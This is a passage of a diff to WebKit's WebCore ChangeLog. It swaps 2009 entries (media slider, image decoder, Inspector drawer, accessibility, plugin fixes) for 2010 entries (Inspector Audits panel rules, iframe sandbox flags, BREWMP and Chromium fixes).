-        (WebCore::deleteEmptyDirectory):
-        (WebCore::getFileModificationTime):
-        (WebCore::directoryName):
-        (WebCore::pathByAppendingComponent):
-        (WebCore::makeAllDirectories):
-        (WebCore::fileExists):
-        * platform/sql/chromium/SQLiteFileSystemChromium.cpp:
-        (WebCore::SQLiteFileSystem::openDatabase):
-        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp:
-        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
-
-2009-08-03  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by David Levin.
-
-        [chromium] Implement media slider for chromium
-        https://bugs.webkit.org/show_bug.cgi?id=27859
-
-        Implemented the media slider for chromium port. The implementation
-        is using Skia for drawing the thumb and buffered region instead of
-        using any native system controls so different platforms would have
-        the same look and feel.
-
-        No new tests because this is covered by existing tests.
-
-        * css/mediaControlsChromium.css:
-        * rendering/RenderThemeChromiumSkia.cpp:
-        * rendering/RenderThemeChromiumSkia.h:
-        * rendering/RenderThemeChromiumWin.cpp:
-
-2009-07-27  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26460
-        Plumbing and cleanup in advance of returning multiple frames from the
-        ICOImageDecoder:
-        * Make ImageDecoder::frameCount() return a size_t like
-          ImageSource::frameCount() and BitmapImage::frameCount() already do.
-        * Add ImageDecoder::frameSizeAtIndex() alongside size(), to report the
-          size of a particular frame.  Hook all the
-          ImageSource::frameSizeAtIndex() implementations to this.  No
-          ImageDecoder implements this yet; that will come in my next change.
-
-        * platform/graphics/cairo/ImageSourceCairo.cpp:
-        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::frameCount): returns size_t.
-        * platform/graphics/qt/ImageDecoderQt.h: frameCount() returns size_t.
-        * platform/graphics/qt/ImageSourceQt.cpp:
-        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
-        * platform/graphics/skia/ImageSourceSkia.cpp:
-        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
-        * platform/graphics/win/ImageCGWin.cpp:
-        (WebCore::BitmapImage::drawFrameMatchingSourceSize): frameCount() returns size_t.
-        * platform/graphics/win/ImageCairoWin.cpp:
-        (WebCore::BitmapImage::drawFrameMatchingSourceSize): frameCount() returns size_t.
-        * platform/graphics/wx/ImageSourceWx.cpp:
-        (WebCore::ImageSource::frameSizeAtIndex): Hook to ImageDecoder function.
-        * platform/image-decoders/ImageDecoder.h:
-        (WebCore::ImageDecoder::size): Clarify comment.
-        (WebCore::ImageDecoder::frameSizeAtIndex): Add.
-        (WebCore::ImageDecoder::frameCount): returns size_t.
-        (WebCore::ImageDecoder::frameBufferAtIndex): Remove unneeded param name.
-        * platform/image-decoders/gif/GIFImageDecoder.cpp:
-        (WebCore::GIFImageDecoder::frameCount): returns size_t.
-        (WebCore::GIFImageDecoder::frameBufferAtIndex): frameCount() returns size_t.
-        * platform/image-decoders/gif/GIFImageDecoder.h: frameCount() returns size_t.
-
-2009-08-03  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Fix a bug that could cause an ASSERT to fail incorrectly, leading
-        to a renderer crash in Chromium.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27947
-
-        All tests in storage/ pass.
-
-        * platform/sql/SQLiteTransaction.cpp:
-        (WebCore::SQLiteTransaction::~SQLiteTransaction):
-        (WebCore::SQLiteTransaction::begin):
-
-2009-08-03  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Simon Hausmann.
-
-        Based on work by Yael Aharon.
-
-        Implement keyboard event forwarding for windowless plugins
-        for the Qt port.
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::dispatchNPEvent):
-        (WebCore::setSharedXEventFields):
-        (WebCore::setXKeyEventSpecificFields):
-        (WebCore::PluginView::handleKeyboardEvent):
-        (WebCore::PluginView::handleMouseEvent):
-
-2009-08-03  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Make Bottom "Drawer" More Extensible To Support Other Views
-        https://bugs.webkit.org/show_bug.cgi?id=27928
-
-        * English.lproj/localizedStrings.js:
-
-          "Show changes view", "Hide changes view", "Clear changes log", "%d style change", "%d style changes"
-
-        * inspector/front-end/ChangesView.js: Added.
-        (WebInspector.ChangesView):
-        (WebInspector.ChangesView.prototype._clearButtonClicked):
-        (WebInspector.ChangesView.prototype._toggleChangesButtonClicked):
-        (WebInspector.ChangesView.prototype.attach):
-        (WebInspector.ChangesView.prototype.show):
-        (WebInspector.ChangesView.prototype.hide):
-
-          To be a new view to show Changes made via the inspector.  DOM, CSS, or otherwise.
-
-        * inspector/front-end/Console.js: Removed.
-
-          Sliding View aspect moved to Drawer.js.  The "console" itself has moved to ConsoleView.js
-
-        * inspector/front-end/ConsoleView.js: Added.
-
-          Little has changed from its move from Console.js other then support for working with the Drawer.
-
-        * inspector/front-end/Drawer.js: Added.
-        (WebInspector.Drawer):
-        (WebInspector.Drawer.prototype.get visibleView):
-        (WebInspector.Drawer.prototype.set visibleView):
-        (WebInspector.Drawer.prototype.show.animationFinished):
-        (WebInspector.Drawer.prototype.show):
-        (WebInspector.Drawer.prototype.hide.animationFinished):
-        (WebInspector.Drawer.prototype.hide):
-        (WebInspector.Drawer.prototype._safelyRemoveChildren):
-        (WebInspector.Drawer.prototype._startStatusBarDragging):
-        (WebInspector.Drawer.prototype._statusBarDragging):
-        (WebInspector.Drawer.prototype._endStatusBarDragging):
-
-          Allow for multiple views inside the Sliding Drawer.
-
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel):
-        (WebInspector.ElementsPanel.prototype.renameSelector):
-        (WebInspector.ElementsPanel.prototype.addStyleChange):
-        (WebInspector.ElementsPanel.prototype.removeStyleChange):
-        (WebInspector.ElementsPanel.prototype.generateStylesheet):
-
-          Starting work on the "Changes" Panel. The ability to generate a Stylesheet from Styles added via the Inspector.
+        * bindings/v8/RuntimeEnabledFeatures.cpp: Removed.
+        * bindings/v8/RuntimeEnabledFeatures.h: Removed.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8NavigatorCustom.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
 
-        * inspector/front-end/Images/styleIcon.png: Added.
+2010-02-09  Alexander Pavlov  <apavlov@chromium.org>
 
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertiesSection.prototype.isInspectorStylesheet):
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
-        (WebInspector.BlankStylePropertiesSection.prototype.makeNormal):
-        (WebInspector.StylePropertyTreeElement.prototype):
+        Reviewed by Pavel Feldman.
 
-          Interface with ElementsPanel for generating a Stylesheet of Changes.
+        Web Inspector: Add two basic categories for the Audits panel
+        https://bugs.webkit.org/show_bug.cgi?id=32930
 
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/AuditCategories.js: Added.
+        (WebInspector.AuditCategories.PagePerformance):
+        (WebInspector.AuditCategories.PagePerformance.prototype.initialize):
+        (WebInspector.AuditCategories.NetworkUtilization):
+        (WebInspector.AuditCategories.NetworkUtilization.prototype.initialize):
+        * inspector/front-end/AuditLauncherView.js:
+        (WebInspector.AuditLauncherView.prototype.updateResourceTrackingState):
+        (WebInspector.AuditLauncherView.prototype._createLauncherUI):
+        (WebInspector.AuditLauncherView.prototype.show):
+        * inspector/front-end/AuditRules.js: Added.
+        (WebInspector.AuditRules.arrayAsUL):
+        (WebInspector.AuditRules.getDomainToResourcesMap):
+        (WebInspector.AuditRules.evaluateInTargetWindow):
+        (WebInspector.AuditRules.GzipRule):
+        (WebInspector.AuditRules.GzipRule.prototype.doRun):
+        (WebInspector.AuditRules.GzipRule.prototype._isCompressed):
+        (WebInspector.AuditRules.GzipRule.prototype._shouldCompress):
+        (WebInspector.AuditRules.CombineExternalResourcesRule):
+        (WebInspector.AuditRules.CombineExternalResourcesRule.prototype.doRun):
+        (WebInspector.AuditRules.CombineJsResourcesRule):
+        (WebInspector.AuditRules.CombineCssResourcesRule):
+        (WebInspector.AuditRules.MinimizeDnsLookupsRule):
+        (WebInspector.AuditRules.MinimizeDnsLookupsRule.prototype.doRun):
+        (WebInspector.AuditRules.ParallelizeDownloadRule):
+        (WebInspector.AuditRules.ParallelizeDownloadRule.prototype.doRun):
+        (WebInspector.AuditRules.UnusedCssRule):
+        (WebInspector.AuditRules.UnusedCssRule.prototype._getUnusedStylesheetRatioMessage):
+        (WebInspector.AuditRules.UnusedCssRule.prototype._getUnusedTotalRatioMessage):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.evalCallback):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun):
+        (WebInspector.AuditRules.CacheControlRule):
+        (WebInspector.AuditRules.CacheControlRule.prototype.InfoCheck.1.FailCheck.0.WarningCheck.1.SevereCheck.2.doRun):
+        (WebInspector.AuditRules.CacheControlRule.prototype.handleNonCacheableResources):
+        (WebInspector.AuditRules.CacheControlRule.prototype._cacheableAndNonCacheableResources):
+        (WebInspector.AuditRules.CacheControlRule.prototype.execCheck):
+        (WebInspector.AuditRules.CacheControlRule.prototype.freshnessLifetimeGreaterThan):
+        (WebInspector.AuditRules.CacheControlRule.prototype.responseHeader):
+        (WebInspector.AuditRules.CacheControlRule.prototype.hasResponseHeader):
+        (WebInspector.AuditRules.CacheControlRule.prototype.isCompressible):
+        (WebInspector.AuditRules.CacheControlRule.prototype.isPubliclyCacheable):
+        (WebInspector.AuditRules.CacheControlRule.prototype.responseHeaderMatch):
+        (WebInspector.AuditRules.CacheControlRule.prototype.hasExplicitExpiration):
+        (WebInspector.AuditRules.CacheControlRule.prototype._isExplicitlyNonCacheable):
+        (WebInspector.AuditRules.CacheControlRule.prototype.isCacheableResource):
+        (WebInspector.AuditRules.BrowserCacheControlRule):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype.handleNonCacheableResources):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype.runChecks):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype._missingExpirationCheck):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype._varyCheck):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype._oneMonthExpirationCheck):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype._oneYearExpirationCheck):
+        (WebInspector.AuditRules.ProxyCacheControlRule):
+        (WebInspector.AuditRules.ProxyCacheControlRule.prototype.runChecks):
+        (WebInspector.AuditRules.ProxyCacheControlRule.prototype._questionMarkCheck):
+        (WebInspector.AuditRules.ProxyCacheControlRule.prototype._publicCachingCheck):
+        (WebInspector.AuditRules.ProxyCacheControlRule.prototype._setCookieCacheableCheck):
+        (WebInspector.AuditRules.ImageDimensionsRule):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun.routine.hasDimension):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun.routine.hasWidth):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun.routine.hasHeight):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.CssInHeadRule):
+        (WebInspector.AuditRules.CssInHeadRule.prototype.doRun):
+        (WebInspector.AuditRules.CssInHeadRule.prototype.doRun.routine.allViews):
+        (WebInspector.AuditRules.CssInHeadRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.StylesScriptsOrderRule):
+        (WebInspector.AuditRules.StylesScriptsOrderRule.prototype.doRun):
+        (WebInspector.AuditRules.StylesScriptsOrderRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.CookieRuleBase):
+        (WebInspector.AuditRules.CookieRuleBase.prototype.doRun.resultCallback):
+        (WebInspector.AuditRules.CookieRuleBase.prototype.doRun):
+        (WebInspector.AuditRules.CookieRuleBase.prototype.mapResourceCookies):
+        (WebInspector.AuditRules.CookieRuleBase.prototype._callbackForResourceCookiePairs):
+        (WebInspector.AuditRules.CookieSizeRule):
+        (WebInspector.AuditRules.CookieSizeRule.prototype._average):
+        (WebInspector.AuditRules.CookieSizeRule.prototype._max):
+        (WebInspector.AuditRules.CookieSizeRule.prototype.processCookies):
+        (WebInspector.AuditRules.CookieSizeRule.prototype.processCookies.avgSizeSorter):
+        (WebInspector.AuditRules.StaticCookielessRule):
+        (WebInspector.AuditRules.StaticCookielessRule.prototype.processCookies):
+        (WebInspector.AuditRules.StaticCookielessRule.prototype._collectorCallback):
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype._constructCategories):
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        (WebInspector.AuditsPanel.prototype.show):
+        (WebInspector.AuditsPanel.prototype._updateLauncherViewControls):
+        (WebInspector.AuditCategory):
+        (WebInspector.AuditCategory.prototype.get id):
+        (WebInspector.AuditCategory.prototype.get ruleCount):
+        (WebInspector.AuditCategory.prototype.runRules):
+        (WebInspector.AuditCategory.prototype._ensureInitialized):
+        (WebInspector.AuditCategoryResult):
         * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.css: Refactored to allow for multiple views in the drawer.
-        * inspector/front-end/inspector.html: Refactored to allow for multiple views in the drawer.
-
+        * inspector/front-end/audits.css:
+        * inspector/front-end/inspector.html:
         * inspector/front-end/inspector.js:
-        (WebInspector.get styleChanges):
-        (WebInspector.set styleChanges):
-        (WebInspector._updateChangesCount):
         (WebInspector.loaded):
+        (WebInspector.addPanelToolbarIcon):
         (WebInspector.documentKeyDown):
-        (WebInspector.showConsole):
-        (WebInspector.showChanges):
-
-          Support for the drawer and "styles changed icon" similar to the "errors and warnings" icons.
-
-2009-08-03  Dean McNamee  <deanm@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Correct an assert on a PassRefPtr in the v8 svg bindings.
-        https://bugs.webkit.org/show_bug.cgi?id=27951
-
-        * bindings/v8/V8SVGPODTypeWrapper.h:
-        (WebCore::V8SVGDynamicPODTypeWrapper::V8SVGDynamicPODTypeWrapper):
-
-2009-08-03  Dirk Pranke  <dpranke@chromium.org>
-
-        Reviewed by Sam Weinig.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27748
-        crash w/ stack overflow when same CSS file loaded repeatedly
-
-        Fix crash caused by a stack overflow when repeatedly loading very large
-        CSS files. CSSRuleData in CSSStyleSelector.h destroyed itself 
-        recursively rather than iteratively.
-
-        Test: fast/css/large-list-of-rules-crash.html
-
-        * css/CSSStyleSelector.h:
-        (WebCore::CSSRuleData::~CSSRuleData):
-        (WebCore::CSSRuleDataList::~CSSRuleDataList):
-
-2009-08-03  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Make the DRT APIs to pause transitions and animations work for accelerated animations
-        <https://bugs.webkit.org/show_bug.cgi?id=27627>
-        <rdar://problem/6442932>
-
-        Fix the 'pauseAnimationAtTimeOnElementWithId' and 'pauseTransitionAtTimeOnElementWithId' APIs
-        available to LayoutTests to work with accelerated animations and transitions. Done by sending
-        the pause time down to the GraphicsLayer, and using it to stop time on the layer.
-        
-        I also added an assertion to check that the animation has actually started when we
-        try to pause it, to check that the pause time we compute is valid. This revealed a number
-        of tests that tried to pause before animations started, required some amount of test fixing.
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::AnimationBase::freezeAtTime):
-        * page/animation/AnimationBase.h:
-        * page/animation/CompositeAnimation.cpp:
-        (WebCore::CompositeAnimation::pauseAnimationAtTime):
-        (WebCore::CompositeAnimation::pauseTransitionAtTime):
-        * platform/graphics/GraphicsLayer.cpp:
-        (WebCore::GraphicsLayer::suspendAnimations):
-        * platform/graphics/GraphicsLayer.h:
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::suspendAnimations):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::suspendAnimations):
-        * rendering/RenderLayerBacking.h:
-
-2009-08-03  Tony Chang  <tony@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Fix Chromium build by removing PluginView.h from Page.cpp.
-        Chromium doesn't use PluginView and the pointer is never
-        dereferenced so the header doesn't need to be included.
-        https://bugs.webkit.org/show_bug.cgi?id=27946
-
-        No new tests because this is a build fix.
-
-        * page/Page.cpp:
-
-2009-08-03  Eric Carlson  <eric.carlson@apple.com>
-
-        One more build fix after https://bugs.webkit.org/show_bug.cgi?id=46720.
-
-        Unreviewed.
-
-        * WebCoreSources.bkl:
-
-2009-08-03  Eric Carlson  <eric.carlson@apple.com>
-
-        Build fix after https://bugs.webkit.org/show_bug.cgi?id=46720.
-
-        Unreviewed.
-
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-08-03  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Bug 27943: Need to implement ARIA role="radiogroup"
-        https://bugs.webkit.org/show_bug.cgi?id=27943
-
-        Test: platform/mac/accessibility/aria-radiogroup.html
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::isRadioGroup):
-        (WebCore::AccessibilityObject::selectedRadioButton):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::selectedRadioButton):
-        (WebCore::RoleEntry::):
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper roleDescription]):
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
-
-2009-08-03  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        HTMLInputElement is not controllable by assistive technologies
-        https://bugs.webkit.org/show_bug.cgi?id=27941
-
-        Test: accessibility/input-slider.html
-
-        * WebCore.xcodeproj/project.pbxproj:
-            Add AccessibilitySlider.cpp/.h
-
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::getOrCreate):
-            Create AccessibilitySlider and AccessibilitySliderThumb.
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::increment):
-        (WebCore::AccessibilityObject::decrement):
-            Add default, do nothing, base class methods.
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::canSetFocusAttribute):
-            Correct typo.
-
-        * accessibility/AccessibilitySlider.cpp: Added.
-        (WebCore::AccessibilitySlider::AccessibilitySlider):
-        (WebCore::AccessibilitySlider::create):
-        (WebCore::AccessibilitySlider::children):
-        (WebCore::AccessibilitySlider::addChildren):
-        (WebCore::AccessibilitySlider::getAttribute):
-        (WebCore::AccessibilitySlider::valueForRange):
-        (WebCore::AccessibilitySlider::maxValueForRange):
-        (WebCore::AccessibilitySlider::minValueForRange):
-        (WebCore::AccessibilitySlider::changeValue):
-        (WebCore::AccessibilitySlider::setValue):
-        (WebCore::AccessibilitySlider::increment):
-        (WebCore::AccessibilitySlider::decrement):
-        (WebCore::AccessibilitySlider::element):
-        (WebCore::AccessibilitySliderThumb::AccessibilitySliderThumb):
-        (WebCore::AccessibilitySliderThumb::create):
-        (WebCore::AccessibilitySliderThumb::elementRect):
-        (WebCore::AccessibilitySliderThumb::size):
-        * accessibility/AccessibilitySlider.h: Added.
-        (WebCore::AccessibilitySlider::~AccessibilitySlider):
-        (WebCore::AccessibilitySlider::roleValue):
-        (WebCore::AccessibilitySlider::accessibilityIsIgnored):
-        (WebCore::AccessibilitySlider::isSlider):
-        (WebCore::AccessibilitySlider::canSetValueAttribute):
-        (WebCore::AccessibilitySliderThumb::~AccessibilitySliderThumb):
-        (WebCore::AccessibilitySliderThumb::roleValue):
-        (WebCore::AccessibilitySliderThumb::accessibilityIsIgnored):
-        (WebCore::AccessibilitySliderThumb::setParentObject):
-        (WebCore::AccessibilitySliderThumb::parentObject):
-
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (RoleEntry::):
-            SliderThumbRole -> NSAccessibilityValueIndicatorRole
-        (-[AccessibilityObjectWrapper roleDescription]):
-            Return role description for NSAccessibilitySliderRole and NSAccessibilityValueIndicatorRole.
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
-            Minor coding style correction.
-        (-[AccessibilityObjectWrapper accessibilityPerformPressAction]):
-            If attachement view handles press action, don't also call object wrapper.
-        (-[AccessibilityObjectWrapper accessibilityPerformIncrementAction]):
-            New, call object's increment() method.
-        (-[AccessibilityObjectWrapper accessibilityPerformDecrementAction]):
-            New, call object's decrement() method.
-        (-[AccessibilityObjectWrapper accessibilityPerformAction:]):
-            Respond to NSAccessibilityIncrementAction and NSAccessibilityDecrementAction.
-
-        * rendering/RenderSlider.cpp:
-        (WebCore::RenderSlider::thumbRect):
-            Factor logic out of layout so AccessibilitySliderThumb can get thumb location/size.
-        (WebCore::RenderSlider::layout):
-            Move code to thumbRect().
-        * rendering/RenderSlider.h:
-
-2009-08-03  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Eric Seidel.
 
-        Build fix if Netscape plugin support is turned off
-        https://bugs.webkit.org/show_bug.cgi?id=27940
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::stop): Do not call NPN_MemFree if NPAPI is
-        disabled
-        * plugins/PluginViewNone.cpp:
-        (WebCore::PluginView::platformStart): Empty stub.
-
-2009-07-31  Joe Mason  <joe.mason@torchmobile.com>
-
-        Reviewed by George Staikos.
+2010-02-10  Adam Barth  <abarth@webkit.org>
 
-        WINCE port: LOAD_WITH_ALTERED_SEARCH_PATH param of LoadLibraryEx not supported on WINCE
-        https://bugs.webkit.org/show_bug.cgi?id=27917
-
-        * plugins/win/PluginPackageWin.cpp:
-        (WebCore::PluginPackage::load): use LoadLibrary instead of LoadLibraryEx
-
-2009-08-02  Adam Barth  <abarth@webkit.org>
         Reviewed by Darin Adler.
 
-        SVGElementInstance::scriptExecutionContext should call document() instead of scriptExecutionContext()
-
-        https://bugs.webkit.org/show_bug.cgi?id=27932
-
-        There's no reason to pay for a virtual function call in this case.  We
-        can just call document() directly because we know that element is a
-        Node*.
-
-        * svg/SVGElementInstance.cpp:
-        (WebCore::SVGElementInstance::scriptExecutionContext):
-
-2009-08-02  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        JSNodeCustom should call document() instead of scriptExecutionContext()
-        https://bugs.webkit.org/show_bug.cgi?id=27931
-
-        We want to call document() because it's in inline function, instead of
-        scriptExecutionContext() because it's a virtual function.  If we have a
-        Node*, then we know that the virtual function will always return the
-        document anyway.
+        Freeze sandbox attributes on creation
+        https://bugs.webkit.org/show_bug.cgi?id=34184
 
-        There are more instance of this bug, but I'd like to start with a small
-        patch and work up.
+        This is how the spec works now.
 
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::toJSDOMGlobalObject):
-        * bindings/js/JSDOMGlobalObject.h:
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener):
-        (WebCore::JSNode::removeEventListener):
+        Test: fast/frames/sandboxed-iframe-forms-dynamic.html
 
-2009-08-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Anders Carlsson.
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::canExecuteScripts):
+        * bindings/generic/BindingDOMWindow.h:
+        (WebCore::::createWindow):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::createWindow):
+        * dom/Document.cpp:
+        * dom/Document.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::submitForm):
+        (WebCore::FrameLoader::requestObject):
+        (WebCore::FrameLoader::shouldAllowNavigation):
+        (WebCore::FrameLoader::updateSandboxFlags):
+        * page/SecurityOrigin.cpp:
+        * page/SecurityOrigin.h:
 
-        Share implementation of PluginView::userAgent() and userAgentStatic()
+2010-02-09  Ariya Hidayat  <ariya.hidayat@gmail.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=27706
+        Rubber-stamped by Kenneth Rohde Christiansen.
 
-        Differences to the original implementation are as follows:
-        
-            - The Win port used to return 0 for userAgentStatic, but now
-              returns the quirk mode MozillaUserAgent as the other ports.
+        [Qt] Remove old, outdated unused code block.
 
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::userAgent):
-        (WebCore::PluginView::userAgentStatic):
-        * plugins/PluginViewNone.cpp:
-        * plugins/gtk/PluginViewGtk.cpp:
-        * plugins/mac/PluginViewMac.cpp:
-        * plugins/qt/PluginViewQt.cpp:
-        * plugins/win/PluginViewWin.cpp:
+        * platform/graphics/qt/GraphicsContextQt.cpp:
 
-2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+2010-02-09  Chris Guillory  <ctguil@google.com>
 
-        Reviewed by Anders Carlsson.
+        Reviewed by Darin Fisher.
 
-        Unregister plugin from PluginMainThreadScheduler if NPP_New fails
+        [Chromium] Notify ChromeClientChromium of state change notifications.
         
-        https://bugs.webkit.org/show_bug.cgi?id=27706
-        
-        Since the plugin has not been started yet (m_isStarted is not set),
-        calling stop() will not have any affect, so we manually unregister
-        in start() before returning.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::start):
+        https://bugs.webkit.org/show_bug.cgi?id=34464
 
-2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Anders Carlsson.
-
-        Join the various versions of PluginView::stop() into one shared implementation
-
-        https://bugs.webkit.org/show_bug.cgi?id=27706
+        * accessibility/chromium/AXObjectCacheChromium.cpp:
+        (WebCore::toChromeClientChromium):
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * page/chromium/ChromeClientChromium.h:
 
-        The platform-dependent bits are now ifdef'ed in the shared implementation,
-        using the XP_ defines (XP_WIN, XP_MACOSX, XP_UNIX) from npapi.h
-        
-        Differences to the original implementation are as follows:
+2010-02-09  Kwang Yul Seo  <skyul@company100.net>
 
-            - The Qt port unregistered the plugin before calling NP_SetWindow
-              with a 0 window handle. Now it's done after (similar to Win)
+        Reviewed by Adam Barth.
 
-            - The GTK and Qt ports unregistered the plugin before clearing
-              the m_npWindow.ws_info struct. Now it's done after.
-              
-            - The Win port constructed the DropAllLocks after unsubclassing
-              the window. Now it's done before.
-              
-            - The Mac, Qt, and GTK ports did not pass a NPSavedData struct
-              to NP_Destroy (like the Win port). Now all ports do.
+        [BREWMP] Port PlatformMouseEvent
+        https://bugs.webkit.org/show_bug.cgi?id=34600
 
-            - The Win port did not call PluginView::setCurrentPluginView()
-              before calling to NP-functions. Now it does.     
+        Retrieve the event type, position, key modifiers, time stamp
+        and click count from AEEEvent.
 
-        * plugins/PluginView.cpp:
-        * plugins/PluginViewNone.cpp:
-        * plugins/gtk/PluginViewGtk.cpp:
-        * plugins/mac/PluginViewMac.cpp:
-        * plugins/qt/PluginViewQt.cpp:
-        * plugins/win/PluginViewWin.cpp:
+        * platform/PlatformMouseEvent.h:
+        * platform/brew/PlatformMouseEventBrew.cpp: Added.
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
 
-2009-07-30  Joseph Pecoraro  <joepeck02@gmail.com>
+2010-02-09  Avi Drissman  <avi@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Inspector: let me *edit* css styles in the web inspector.
-        https://bugs.webkit.org/show_bug.cgi?id=27124
+        [Chromium] RenderTheme does not draw focus rings on SL for checkboxes, radio buttons
+        https://bugs.webkit.org/show_bug.cgi?id=34544
 
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel): added property stylesheet pointing to 1 stylesheet added to the page if needed
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylesSidebarPane.prototype.update): handle blank sections
-        (WebInspector.StylesSidebarPane.prototype.addBlankSection): blank section in the correct position
-        (WebInspector.StylesSidebarPane.prototype.appropriateSelectorForNode): helper to get a nice selector for the selectd node
-        (WebInspector.StylePropertiesSection):
-        (WebInspector.StylePropertiesSection.prototype.expand):
-        (WebInspector.StylePropertiesSection.prototype.isPropertyInherited):
-        (WebInspector.StylePropertiesSection.prototype.isPropertyOverloaded):
-        (WebInspector.StylePropertiesSection.prototype.addNewBlankProperty):
-        (WebInspector.StylePropertiesSection.prototype._dblclickEmptySpace): easily create new properties
-        (WebInspector.StylePropertiesSection.prototype._dblclickSelector):
-        (WebInspector.StylePropertiesSection.prototype.startEditingSelector): allow for editing selectors
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
-        (WebInspector.StylePropertiesSection.prototype.editingSelectorCancelled):
-        (WebInspector.StylePropertiesSection.prototype._doesSelectorAffectSelectedNode): helper to check if a selector applies to the selected node
-        (WebInspector.BlankStylePropertiesSection.prototype._dblclick):
-        (WebInspector.BlankStylePropertiesSection.prototype.startEditing):
-        (WebInspector.BlankStylePropertiesSection.prototype.editingCancelled):
-        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted):
-        (WebInspector.BlankStylePropertiesSection.prototype.makeNormal): morph into a StylePropertiesSection
-        (WebInspector.StylePropertyTreeElement.prototype):
-        (WebInspector.StylePropertyTreeElement.prototype.):
-        * inspector/front-end/inspector.css:
+        Covered by layout tests when run on SL.
 
-2009-07-31  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Adam Barth.
